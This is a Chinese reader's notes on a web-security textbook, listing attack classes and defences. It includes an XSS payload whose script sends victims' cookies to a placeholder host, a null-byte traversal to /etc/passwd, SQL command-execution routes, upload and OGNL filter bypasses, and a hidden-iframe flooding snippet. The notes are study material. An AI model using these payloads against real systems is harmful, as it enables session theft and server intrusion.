《白帽子讲Web安全》读书笔记

来源:互联网 发布:联通宽带提速软件 编辑:程序博客网 时间:2024/04/24 08:35
------“安全问题的本质是信任的问题”安全三要素:机密性、完整性、可用性白帽子兵法:Secure By Default 原则(1:黑白单、白名单 2:最小权限原则)、纵深防御原则、数据与代码分离原则、不可预测性原则“所有的程序本来也没有漏洞,只有功能,但当一些功能被用于破坏,造成损失时,也就成了漏洞。”浏览器安全:同源策略、浏览器沙箱(备注:沙箱内的程序要与外界通信时是通过特殊封装的API进行的,这些API内部通常有着很强的安全检测)------XSS Payload:<script src=http://xxx/evil.js></script>evil.js 内容:var img = document.createElement("img");img.src = "http://xxx/log?"+escape(document.cookie);document.body.appendChild(img);XSS Worm:Samy Worm、百度空间蠕虫<DIV id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="..."></DIV>利用字符编码:%c1\(备注:基于字符集的攻击,让原来的两个字符变成一个Unicode字符,从而“吃掉”转义符)eval(location.hash.substr(1))------Anti CSRF Token(再次理解“同源策略”)(区别 XSS 与 CSRF)ClickJacking(备注:不管是点击劫持还是网页挂马等这类攻击,感觉最好的发现方法就是查看网页源码,特别关注iframe标签)------Blind InjectionTiming Attack边信道攻击benchmark()函数命令执行:UDF(MySQL)、master.dbo.xp_cmdshell(MS SQL Server)编码问题:GBK编码、双字节字符0x5c = \0x27 = '0xbf27 = 两个字符0xbf5c = 一个字符SQL Column Truncation(备注:插入超长的值,被截断,产生例如两个admin之类的问题)防御SQL注入:1、预编译语句;2、检测数据类型;3、编码特殊字符;4、黑名单各种注入的变种:XML注入、CRLF注入、代码注入等等(万变不离其宗 —— “数据与代码分离”原则)------绕过文件上传检查:xxx.php[\0].JPGApache文件解析问题:Phpshell.php.rar.rarIIS文件解析问题:http://xxx/path/xyz.asp;abc.jpghttp://xxx/path/xyz.asp/abc.jpg(PUT 文本文件 一句话木马)(MOVE 改名 为相应的脚本后缀)PHP CGI 路径解析问题:http://xxx/path/test.jpg/notexist.phpPHP配置选项:cgi.fix_pathinfo------认证、授权单因素认证、双因素认证、多因素认证凭证Session、SessionID、CookieSessionID除了可以放在Cookie中,还可以放在URL的GET参数中,例如:sid有时候为了减轻服务器的压力,甚至可以直接将Session加密后放入Cookie中(通过嵌入图片标签,用户浏览器在展示图片时所发送的请求(src)中包含的Referer导致sid泄漏)Session Fixation 攻击SSO(单点登录 Single Sign On)(OpenID是用来认证协议,OAuth是授权协议,二者是互补的)垂直权限管理水平权限管理------Struts 2 命令执行漏洞Struts 2 - WebWork - XWorkOGNL(XWork有两个方法用以阻止代码执行,但是这两个方法可以被覆盖,从而绕过这个安全机制)(攻击载荷中不允许有#(OGNL限制),不过使用\u0023(#号的十六进制编码)来代替#即可绕过这个限制)------SYN flood、UDP flood、ICMP floodCC:Challenge Collapasar大站分流:<iframe src="http://target" height=0 width=0></iframe>限制请求频率代理猎手、AccessDiver验证码安全漏洞:可以重复使用一个验证码、验证码图片文件命名有规律防御应用层DDOS:让客户端解析一段JavaScript,并给出正确的运行结果核心:人机识别Apache Module:mod_qos、mod_evasiveYahoo专利:Detecting system abuseSlowloris 攻击HTTP POST DOSServer Limit DOSReDOSDDOS本质:对有限的资源的无限制滥用。------本地文件包含(LFI)0截断法:../../etc/passwd%00超长路径截断法:././././././abc////////////abc../1/abc/../1/abc/../1/abc通过不同编码方式来绕过PHP设置:open_basedir通过使用枚举类型防御LFI漏洞远程文件包含(RFI)问号截断法LFI执行代码的一些方法:1、包含用户上传的文件2、包含Session文件3、包含日志文件4、包含/proc/self/environ文件5、……PHP设置:allow_url_includedata: 伪协议Metasploit:use exploit/unix/webapp/php_lfiPHP变量覆盖漏洞PHP设置:register_globalsPHP“危险函数”执行代码挖掘漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终看在整个调用的过程中用户是否有可能控制输入。unserialize()导致代码执行定制安全的PHP环境(PHP安全核心总结:配置、函数、用法)------jBoss远程命令执行http://www.test.com:8080/jmx-console/(默认情况下无认证,可部署war,类似tomcat)HTTP Parameter Pollution(主要可视情况用于绕过安全防护机制)------业务逻辑安全SMTP协议是可以由用户伪造发件人邮箱的。Google公开的“Safe Browsing API”可以获取到恶意网址(钓鱼、挂马、欺骗等网址黑名单)SDL很多时候,入侵是从第三方软件开始的。ModSecurity、PHPIDS------分组加密算法、流密码加密算法3DES、RC4唯密文攻击已知明文攻击选择明文攻击选择密文攻击Reused Key AttackIV(初始化向量)Bit-flipping Attack弱随机IV问题WEP破解ECB模式的缺陷Padding Oracle Attack密钥管理、弱随机数Cross Application AttacksLength Extension Attack------

0 0